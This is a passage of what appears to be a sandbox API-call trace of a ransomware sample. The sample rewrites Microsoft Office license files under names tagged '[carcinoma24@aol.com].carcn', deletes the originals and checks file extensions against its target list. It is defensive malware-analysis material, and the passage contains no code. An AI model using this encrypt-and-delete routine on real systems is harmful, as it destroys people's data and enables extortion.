lpOverlapped=0x0) returned 1 [0283.789] WriteFile (in: hFile=0x38c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0283.791] ReadFile (in: hFile=0x438, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.791] WriteFile (in: hFile=0x38c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x102, lpOverlapped=0x0) returned 1 [0283.791] SetEndOfFile (hFile=0x38c) returned 1 [0283.791] CloseHandle (hObject=0x38c) returned 1 [0283.792] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.792] SetEndOfFile (hFile=0x438) returned 1 [0283.998] CloseHandle (hObject=0x438) returned 1 [0283.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0284.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.239] lstrlenW (lpString=".doc") returned 4 [0284.239] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.239] lstrlenW (lpString=".docx") returned 5 [0284.239] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.239] lstrlenW (lpString=".pdf") returned 4 [0284.239] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.239] lstrlenW (lpString=".xls") returned 4 [0284.243] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString=".xlsx") returned 5 [0284.244] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.244] lstrlenW (lpString=".ppt") returned 4 [0284.244] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.244] lstrlenW (lpString=".zip") returned 4 [0284.244] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString=".rar") returned 4 [0284.244] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString=".bz2") returned 4 [0284.244] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString=".7z") returned 3 [0284.244] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.244] lstrlenW (lpString=".dbf") returned 4 [0284.244] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.244] lstrlenW (lpString=".1cd") returned 4 [0284.245] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0284.245] lstrlenW (lpString=".jpg") returned 4 [0284.245] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.245] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11581) returned 1 [0284.245] CloseHandle (hObject=0x41c) returned 1 [0284.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0284.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.247] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.247] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0284.247] GetLastError () returned 0x0 [0284.247] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0284.293] WriteFile (in: hFile=0x374, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0284.294] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.294] WriteFile (in: hFile=0x374, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x108, lpOverlapped=0x0) returned 1 [0284.294] SetEndOfFile (hFile=0x374) returned 1 [0284.295] CloseHandle (hObject=0x374) returned 1 [0284.301] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.301] SetEndOfFile (hFile=0x41c) returned 1 [0284.319] CloseHandle (hObject=0x41c) returned 1 [0284.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0284.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.952] lstrlenW (lpString=".doc") returned 4 [0284.952] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".docx") returned 5 [0284.952] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.952] lstrlenW (lpString=".pdf") returned 4 [0284.952] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".xls") returned 4 [0284.952] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".xlsx") returned 5 [0284.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.952] lstrlenW (lpString=".ppt") returned 4 [0284.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.952] lstrlenW (lpString=".zip") returned 4 [0284.952] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".rar") returned 4 [0284.952] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".bz2") returned 4 [0284.952] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.952] lstrlenW (lpString=".7z") returned 3 [0284.952] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.953] lstrlenW (lpString=".dbf") returned 4 [0284.953] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.953] lstrlenW (lpString=".1cd") returned 4 [0284.953] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0284.953] lstrlenW (lpString=".jpg") returned 4 [0284.953] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.953] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10635) returned 1 [0284.953] CloseHandle (hObject=0x370) returned 1 [0284.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0284.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.955] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.955] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0284.956] GetLastError () returned 0x0 [0284.956] ReadFile (in: hFile=0x370, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x298b, lpOverlapped=0x0) returned 1 [0284.986] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2990, lpOverlapped=0x0) returned 1 [0284.987] ReadFile (in: hFile=0x370, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.987] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x106, lpOverlapped=0x0) returned 1 [0284.987] SetEndOfFile (hFile=0x4ac) returned 1 [0284.988] CloseHandle (hObject=0x4ac) returned 1 [0284.989] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.989] SetEndOfFile (hFile=0x370) returned 1 [0285.107] CloseHandle (hObject=0x370) returned 1 [0285.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0285.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.109] lstrlenW (lpString=".doc") returned 4 [0285.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".docx") returned 5 [0285.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.109] lstrlenW (lpString=".pdf") returned 4 [0285.109] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".xls") returned 4 [0285.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".xlsx") returned 5 [0285.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.109] lstrlenW (lpString=".ppt") returned 4 [0285.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.109] lstrlenW (lpString=".zip") returned 4 [0285.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".rar") returned 4 [0285.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".bz2") returned 4 [0285.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString=".7z") returned 3 [0285.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.109] lstrlenW (lpString=".dbf") returned 4 [0285.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.109] lstrlenW (lpString=".1cd") returned 4 [0285.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0285.110] lstrlenW (lpString=".jpg") returned 4 [0285.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.110] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11574) returned 1 [0285.110] CloseHandle (hObject=0x370) returned 1 [0285.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0285.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.111] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.111] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0285.112] GetLastError () returned 0x0 [0285.112] ReadFile (in: hFile=0x370, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0285.127] WriteFile (in: hFile=0x53c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0285.128] ReadFile (in: hFile=0x370, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.128] WriteFile (in: hFile=0x53c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0285.128] SetEndOfFile (hFile=0x53c) returned 1 [0285.129] CloseHandle (hObject=0x53c) returned 1 [0285.129] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.129] SetEndOfFile (hFile=0x370) returned 1 [0285.161] CloseHandle (hObject=0x370) returned 1 [0285.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0285.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.165] lstrlenW (lpString=".doc") returned 4 [0285.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".docx") returned 5 [0285.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.165] lstrlenW (lpString=".pdf") returned 4 [0285.165] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".xls") returned 4 [0285.165] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".xlsx") returned 5 [0285.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.165] lstrlenW (lpString=".ppt") returned 4 [0285.165] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.165] lstrlenW (lpString=".zip") returned 4 [0285.165] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".rar") returned 4 [0285.165] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".bz2") returned 4 [0285.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString=".7z") returned 3 [0285.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.165] lstrlenW (lpString=".dbf") returned 4 [0285.165] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.165] lstrlenW (lpString=".1cd") returned 4 [0285.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0285.166] lstrlenW (lpString=".jpg") returned 4 [0285.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.314] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19919) returned 1 [0285.314] CloseHandle (hObject=0x54c) returned 1 [0285.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0285.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.315] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.315] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.316] GetLastError () returned 0x0 [0285.316] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0285.327] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0285.328] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.328] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0285.328] SetEndOfFile (hFile=0x4ac) returned 1 [0285.329] CloseHandle (hObject=0x4ac) returned 1 [0285.329] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.329] SetEndOfFile (hFile=0x54c) returned 1 [0285.332] CloseHandle (hObject=0x54c) returned 1 [0285.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0285.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.334] lstrlenW (lpString=".doc") returned 4 [0285.334] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.334] lstrlenW (lpString=".docx") returned 5 [0285.334] lstrcmpiW 